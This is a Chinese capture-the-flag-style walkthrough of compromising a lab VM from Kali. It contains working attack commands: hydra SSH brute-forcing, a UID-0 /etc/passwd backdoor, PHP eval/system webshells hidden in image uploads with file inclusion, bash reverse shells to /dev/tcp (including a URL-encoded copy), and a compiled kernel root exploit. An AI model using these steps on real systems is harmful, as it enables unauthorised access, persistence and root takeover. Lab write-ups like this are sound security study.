一、环境配置
kali:192.168.92.5 nat模式
靶机:192.168.92.3 nat模式
二、信息收集
1.扫描ip
nmap -sP 192.168.92.0/24
2.端口扫描
半开扫描:nmap -sS 192.168.92.3
全开扫描:nmap -sT 192.168.92.3
3个过程全部完成叫全开扫描,最后一步不做,叫半开扫描。在实际过程中,半开扫描应用的最多,半开扫描不容易被目标电脑日志记录。
3.目录扫描
dirb http://192.168.92.3
三、web渗透
ssh爆破并获取shell
hydra -L /usr/share/wordlists/user.txt -P /usr/share/wordlists/password.txt -vV -t4 192.168.137.130 ssh
我们就可以登录靶机了
创建用户abc,useradd abc
设置密码abc, passwd abc
之后进入/etc/passwd下修改abc的权限为0 0
切换到abc用户
abc权限变成了root权限
接下来我们在/var/www目录下写一个一句话木马
写好之后,用蚁剑连接
打开192.168.92.3的页面
尝试使用万能密码注入
万能密码不起作用啊,先放着吧
在in.php页面中可以看到能够进行远程文件包含漏洞
查看test.php文件
file参数为空,需要给file传递一个参数,那么就将主页面index.php传给file
发现还是同样的错误,所以考虑使用POST
此时页面有响应了,所以可以确定存在文件包含漏洞
此时我们可以把那些文件进行源码审计了
add.php:一个空壳文件
c.php:是一个连接数据库的文件,里面有数据库的账号和密码billu、b0x_billu
cmd.php:是一个一句话木马
index.php:构造sql语句时过滤了单引号,虽然hex编码以及Unicode编码可以绕过,但是就是无法注入
panel.php: 存在文件包含漏洞,将任意文件解析为php文件,之后可用于解析图片马
看别人的博客扫描到了数据库目录,但是我是在蚁剑上看见 了数据库目录
在ica_lab库里有三张表
auth表里有一个账号:biLLu
、hEx_it
download表里内容感觉没有用
users表里是用户的信息
数据库里面的东西拿完了,然后我们登录去
拿auth表里的账号:biLLu
、hEx_it
Add User 是创建一个用户,需要上传图片,那么在这里就可以上传一个图片马,再利用之前 panel.php 的文件包含漏洞,来Getshell
制作图片马
<?php @eval($_POST['upload']);?>
在uploaded_images中可以看到上传的照片,说明上传成功
打开panel.php页面,选择 Show Users并抓包修改数据包如下:
load=show&continue=continue
改为
load=/uploaded_images/137.jpg&continue=continue&upload=phpinfo();
发包,可以看到页面回显php信息,成功执行木马
此时,可以将eval函数改为system函数,用来执行linux命令,建立反弹shell,重新制作图片马
<?php system($_POST["shell"]); ?>
同样的步骤再做一遍,修改数据包
load=/uploaded_images/17.jpg&continue=continue&shell=ls;
测试成功,用bash来建立反弹shell,shell值改为一下建立反弹shell命令
shell=echo "bash -i >& /dev/tcp/192.168.92.5/9999 0>&1" | bash
ip为监听机的ip
对数据进行url编码,不然会将某些符号识别成关键字符,使用BurpSuit的Decoder模块对数据url编码:
%65%63%68%6f%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%39%32%2e%35%2f%39%39%39%39%20%30%3e%26%31%22%20%7c%20%62%61%73%68
在kali上进行监听,然后发包,即可建立连接
现在不是终端,不能够切换用户,使用一下python语句创建一个终端
python -c 'import pty;pty.spawn("/bin/bash")'
写一个反弹shell的会话木马rev_shell.php
使用echo向rev_shell.php文件写入以下语句,利用的是php system系统命令调用函数:
echo '<?php system('echo "bash -i >& /dev/tcp/192.168.92.5/9999 0>&1" | bash'); ?>' >> rev_shell.php
此时在kali监听指定端口9999,在浏览器访问反弹shell文件rev_shell.php,即可建立反弹shell,之后都可以进行连接
四、Linux内核提权
uname -a:内核版本
cat /etc/issue:Linux系统版本
在kali下查询对应版本的exp
searchsploit Ubuntu 12.04
复制对应文件,赋予其可执行权限
复制至Windows本地,利用Webshell用蚁剑将其上传至网站下
修改权限为可执行文件
使用gcc编译文件: gcc 37292.c -o exp
,执行即可提权至root权限
exp是别名
五、总结
- ssh弱口令爆破,进入系统后本身就是root权限,重新创建root用户并挂马
- 利用任意文件下载漏洞得到数据库账户,进入phpmyadmin后台得到用户账户
- 使用得到的账户进入网站后台,利用文件包含与图片马拿到Webshell与会话shell,提权
- 利用Linux内核版本漏洞提权
文件包含漏洞
这个博客很详细